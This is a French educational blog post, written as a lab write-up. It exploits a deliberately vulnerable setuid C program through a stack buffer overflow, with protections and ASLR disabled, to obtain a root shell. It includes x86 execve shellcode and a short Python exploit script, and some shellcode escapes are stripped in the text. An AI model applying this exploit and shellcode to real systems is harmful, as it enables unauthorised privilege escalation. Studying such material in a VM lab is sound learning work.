Voila maintenant deux articles que nous parlons de buffers overflows, dans l’article suivant nous avons réussi à obtenir un shell dans gdb. Mais ce n’est pas cela qui nous intéresse ! Ce que l’on veut maintenant c’est avoir un bon shell root en dehors de gdb !
Et bien c’est partit !
Cet article prendra la forme d’un write up, on ne va pas repartir des bases, on l’as déja fait dans l’article au dessus !
Le code :
Imaginons ce code ( gentillement donné par agix 😀 )
#include <string.h> void vuln(char * oflow) { char buf[25]; strcpy(buf, oflow); } void main (int argc, char ** argv) { vuln(argv[1]); }
Nous allons le compiler de la façon suivante :
gcc -o stack4 stack4.c -fno-stack-protector -z execstack
Ce qui va nous permettre de rendre la stack exécutable et dépourvue de protections. De plus on va s’assurer qu’elle ne sera pas géré de manière aléatoire, c’est encore le début, on va se faciliter la vie un minimum !
echo « 0 » > /proc/sys/kernel/randomize_va_space
Autant en profiter pour vous dire de travailler dans une VM, on ne connait pas encore le nombre de bêtises que vous ferez une fois root, mais autant éviter de pourrir votre environnement de travail.
Road to root !
Compilons donc ce code et changeons ses droits afin de le mettre setuid root. Lorsque l’on tente le lance il faut lui passer un argument, si on passe de petits arguments le programme se termine sans soucis, mais dès que l’on commence à passer des arguments trop grands le programme crache et affiche un beau segfault.
Lançons donc gdb en passant a notre programme un pattern afin de trouver la taille du buffer.
Et bien 37 ! Ensuite, il nous faut l’adresse ou pointera notre EIP.
Prenons par exemple 0xbffff3e0.
Il nous faut maintenant un shellcode :
# x86/linux/exec: 24 bytes
shellcode = (
« x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31 »
« xc9x89xcax6ax0bx58xcdx80 »
)
Et c’est tout ! Il est donc temps d’exploiter le binaire !
Exploitation :
On réunit donc toutes nos informations, comme on l’avait fait dans peda , a savoir :
Remplissage du buffer + Adressse EIP + Nops + Shellcode
La taille des nops peut varier, a vous d’adapter ou de choisir une meilleur adresse pour EIP.
Une fois que tout ceci est fait .. Vous avez un shell et .. Vous êtes root !
Exploitation plus propre :
Pour exploiter très rapidement cette faille il est possible de créer un exploit en python.
Voici par exemple un exploit basé sur ce programme :
import os taille_buf = 37 adresse = 'xd8xfbxffxbf' shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80' nombre_nops = 1000 payload = "A"*taille_buf payload += adresse payload += 'x90'*nombre_nops payload += shellcode os.system("./stack4 " + payload )
Voila qui conclus cette partie sur mes premiers buffers overflows. Maintenant il me reste a me pencher sur des programmes du 21eme siècle, car ces exploitations sont très old school, et très peu rependue dans les binaires actuels. Mais bon, c’est un principe à connaitre et qui permet d’avancer !
[…] avons vu les techniques de bases pour exploiter un buffer overflow bien évidement, trouver ce genre de binaire est devenu de plus en plus compliqué. Dans cet […]
[…] tout, il est important d’avoir compris le concept des buffer overlows sur 32 bits. Le concept reste le même sur 64 bits avec quelques subtilités apportés par l’architecture […]